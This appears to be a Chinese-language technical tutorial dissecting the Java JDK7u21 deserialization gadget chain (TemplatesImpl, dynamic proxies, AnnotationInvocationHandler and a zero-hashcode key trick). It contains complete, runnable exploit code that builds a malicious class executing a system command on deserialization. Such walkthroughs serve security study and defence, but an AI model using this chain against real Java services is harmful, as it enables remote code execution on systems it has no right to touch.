原理
由javassist负责构建一个恶意类并得到字节码,然后向TemplatesImpl
的_bytecodes
属性赋值恶意类的字节码,字节码数组在被defineTransletClasses()
中被实例化成恶意类,调用构造函数中的命令触发RCE,需要调用getOutputProperties()
触发
1 2 3 4 5
| 恶意类的父类必须为ABSTRACT_TRANSLET TemplatesImpl类的_bytecodes不为null,为恶意类字节码 TemplatesImpl类的_name不为null TemplatesImpl类的_class=null _tfactory需要是一个拥有getExternalExtensionsMap()方法的类,即TransformerFactoryImpl(),以此来兼容不同版本
|
defindTransletClasses()
执行完后,_class[_transletIndex]
就已经是恶意类,接下来执行newInstance()
实例化恶意类,从而执行构造方法中的payload
defineTransletClasses()
中恶意类的构造,把恶意类的字节码转换为类的实例类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| private void defineTransletClasses() throws TransformerConfigurationException { if (_bytecodes == null) { ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException(err.toString()); }
TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction() { public Object run() { return new TransletClassLoader(ObjectFactory.findClassLoader()); } }); try { final int classCount = _bytecodes.length; _class = new Class[classCount];
if (classCount > 1) { _auxClasses = new Hashtable(); }
for (int i = 0; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass();
if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } }
if (_transletIndex < 0) { ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); throw new TransformerConfigurationException(err.toString()); } } catch (ClassFormatError e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name); throw new TransformerConfigurationException(err.toString()); } catch (LinkageError e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException(err.toString()); } }
|
构造payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor;
import java.lang.reflect.Field;
public class Myjdk7u21 {
private static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { Field field=obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }
public static void main(String[] args) throws Exception { ClassPool pool =ClassPool.getDefault(); CtClass cc=pool.makeClass("Evil");
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
CtConstructor cons=new CtConstructor(new CtClass[]{},cc); cons.setBody("{ Runtime.getRuntime().exec(\"calc\");}"); cc.addConstructor(cons);
byte[] TempByteCode=cc.toBytecode(); byte[][] ByteCode=new byte[][]{TempByteCode};
TemplatesImpl templates=TemplatesImpl.class.newInstance(); setFieldValue(templates,"_bytecodes",ByteCode); setFieldValue(templates,"_class",null); setFieldValue(templates,"_name","x"); setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
templates.getOutputProperties();
} }
|
动态代理
当没有没有触发getOutputProperties()
的点,就需要使用动态代理,代理是为了在不改变目标对象方法的情况下对方法进行增强
动态代理是java的特性之一,其实就可以理解为web应用中的拦截器,在执行正式代码之前先过一个拦截器函数(比如spring的AOP)。但是以上类比只是为了便于理解,实际上spring的AOP之类的拦截器反而是基于java的动态代理实现的。
例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; import java.lang.reflect.Proxy;
interface ISubject { public void hello(String str); }
class SubjectImpl implements ISubject { public void hello(String str) { System.out.println("SubjectImpl.hello(): " + str); } }
class Handler implements InvocationHandler { private Object subject; public Handler(Object subject) { this.subject = subject; }
public Object invoke(Object object, Method method, Object[] args) throws Throwable { System.out.println("before!"); method.invoke(this.subject, args); System.out.println("after!"); return null; } }
public class DynamicProxy { public static void main(String[] args) { SubjectImpl subject = new SubjectImpl(); InvocationHandler tempHandler = new Handler(subject);
ISubject iSubject = (ISubject) Proxy.newProxyInstance(DynamicProxy.class.getClassLoader(), new Class<?>[] {ISubject.class}, tempHandler); iSubject.hello("world!"); } }
|
Proxy.newProxyInstance
三个传入参数:
1 2 3
| loader,选用的类加载器。 interfaces,被代理类所实现的接口,这个接口可以是多个。即需要拦截的接口 handler,一个 实现拦截器的invocation handler。
|
设置动态代理后,只要调用了返回对象中被安排代理的接口,就会进入invocationHandler的invoke函数。
延长利用链:AnnotationInvocationHandler
AnnotationInvocationHandler
是一个InvocationHandler
的实现类
sun.reflect.annotation.AnnotationInvocationHandler#AnnotationInvocationHandler
先看一下AnnotationInvocationHandler
的构造函数
在payload构造中传入参数
1
| InvocationHandler tempHandler = (InvocationHandler) ctor.newInstance(Templates.class, map);
|
这样
1 2
| this.type=Templates.class this.membervalues=map
|
这里的AnnotationInvocationHandler构造函数是缺省修饰符,在不同的包中是不能直接调用
反射机制中提到,可以使用setAccessible(true)来开放权限。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.*; import javassist.*; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.*; import java.util.*;
public class Myjdk7u21 { public static byte[] serialize(final Object obj) throws Exception { ByteArrayOutputStream btout = new ByteArrayOutputStream(); ObjectOutputStream objOut = new ObjectOutputStream(btout); objOut.writeObject(obj); return btout.toByteArray(); } public static Object unserialize(final byte[] serialized) throws Exception { ByteArrayInputStream btin = new ByteArrayInputStream(serialized); ObjectInputStream objIn = new ObjectInputStream(btin); return objIn.readObject(); }
private static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { Field field=obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj,value); }
private static TemplatesImpl getEvilTemplatesImpl() throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.makeClass("Evil"); cc.setSuperclass((pool.get(AbstractTranslet.class.getName()))); CtConstructor cons = new CtConstructor(new CtClass[]{}, cc); cons.setBody("{ Runtime.getRuntime().exec(\"calc\"); }"); cc.addConstructor(cons); byte[] byteCode=cc.toBytecode(); byte[][] targetByteCode = new byte[][]{byteCode}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setFieldValue(templates,"_bytecodes",targetByteCode); setFieldValue(templates,"_class",null); setFieldValue(templates,"_name","xx"); setFieldValue(templates,"_tfactory",new TransformerFactoryImpl()); return templates; }
public static void main(String[] args) throws Exception { TemplatesImpl templates=getEvilTemplatesImpl();
HashMap map = new HashMap();
Constructor ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0]; ctor.setAccessible(true); InvocationHandler tempHandler = (InvocationHandler) ctor.newInstance(Templates.class, map);
Templates proxy = (Templates) Proxy.newProxyInstance(Myjdk7u21.class.getClassLoader(), templates.getClass().getInterfaces(), tempHandler);
LinkedHashSet set = new LinkedHashSet(); set.add(templates); set.add(proxy);
map.put("f5a5a608", templates);
byte[] obj=serialize(set); unserialize(obj); } }
|
反序列化LinkedHashSet
类就可以执行命令。
Java在反序列化的时候会调用ObjectInputStream
类的readObject()
方法,如果被反序列化的类重写了readObject()
,那么该类在进行反序列化时,Java会优先调用重写的readObject()
方法。
LinkedHashSet
类没有readObject()
,但是它的父类HashSet
存在readObject()
,两者都继承了Serializable接口
readObject()
中把Templates和proxy加入到map
进入put()
,
这里会和上一个 Entry 的 Key (templates) 进行比较,判断这两个对象是否相等,如果相等则新的替换老的值,然后返回老的值。
关键点在于key.equals(k)
,添加的顺序是,前一个为 templates
后一个为proxy
。
要到达key.equals(k)
需要先满足条件e.hash == hash
,也就是满足hash(templates)== hash(proxy)
,这个条件下面再说
根据||
的规则,第一个值为false时才能进入第二个。此时,key
等于proxy
,e.key
等于templates
类,这样(k = e.key) == key
返回false
。进入key.equals(k)
由于使用了动态代理,调用Templates.equals()
就会进入AnnotaionlnvocationHandler
的invoke()
,然后因为满足if条件进入equalsImpl
。
这里的
1 2 3
| var1为当前proxy代理实例对象,等于之前的key var2为当前调用方法,等于equals方法对象 var3为当前调用方法的传入参数列表,等于TemplatesImpl类,也就是之前的k和e.key
|
sun.reflect.annotation.AnnotationInvocationHandler#equalsImpl
进入equalsImpl()
,前两个条件都不满足,进入getMemberMethods
sun.reflect.annotation.AnnotationInvocationHandler#getMemberMethods
满足条件this.memberMethods
,this.type
等于Templates
,这样就会返回Templates
中的所有方法,包括getOutputProperties()
回到equalsImpl
,这里会获取this.type
类中所有的方法,然后遍历并调用每一个方法。这里让this.type
等于Templates
接口就可以调用Templates
中的所有方法,包括getOutputProperties()
,触发payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| private Boolean equalsImpl(Object var1) { if (var1 == this) { return true; } else if (!this.type.isInstance(var1)) { return false; } else { Method[] var2 = this.getMemberMethods(); int var3 = var2.length;
for(int var4 = 0; var4 < var3; ++var4) { Method var5 = var2[var4]; String var6 = var5.getName(); Object var7 = this.memberValues.get(var6); Object var8 = null; AnnotationInvocationHandler var9 = this.asOneOfUs(var1); if (var9 != null) { var8 = var9.memberValues.get(var6); } else { try { var8 = var5.invoke(var1); } catch (InvocationTargetException var11) { return false; } catch (IllegalAccessException var12) { throw new AssertionError(var12); } }
if (!memberValueEquals(var7, var8)) { return false; } }
return true; } }
|
执行成功
Hash绕过
java.util.HashMap#put
条件e.hash == hash
,也就是满足hash(templates)== hash(proxy)
调用了hash()
java.util.HashMap#hash
进入hash()
函数,这里调用了传入对象k
的hashCode()
方法,意味着有可能控制hash值,这里的k
为创建的代理实例对象。接着调用了hashCode
因为使用了动态代理,调用hash(proxy)
时会自动跳转到AnnotationInvocationHandler.invoke()
sun.reflect.annotation.AnnotationInvocationHandler#invoke
sun.reflect.annotation.AnnotationInvocationHandler#hashCodeImpl
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| private int hashCodeImpl() { int var1 = 0;
Entry var3; Iterator var2 = this.memberValues.entrySet().iterator(); for( ;var2.hasNext(); ) { var3 = (Entry)var2.next(); String key = var3.getKey(); Object value = var3.getValue(); var1 += 127 * key.hashCode() ^ memberValueHashCode(value); }
return var1; }
|
sun.reflect.annotation.AnnotationInvocationHandler#memberValueHashCode
1 2 3 4 5
| private static int memberValueHashCode(Object var0) { Class var1 = var0.getClass(); if (!var1.isArray()) { return var0.hashCode(); ...
|
实际执行
Proxy的hashCode = 127 * 可控键的hashCode ^ 可控值的hashCode == TemplatesImpl的hashCode
只要让可控键的hashCode为0即可,利用f5a5a608
的hashcode为0,字符串的hashcode也为0,在POC中构造map.put("f5a5a608", templates)
,
这样
1 2
| var1 = 127 * 0 ^ templates的hashCode var1 = templates的hashCode
|
map.put
java.util.HashSet#add
payload中把map.put("f5a5a608", templates)
放在最后,这是因为add
方法中调用了map.put
,如果放在前面就会满足条件直接在本地触发命令执行,经过序列化之后的数据不能反序列化成功。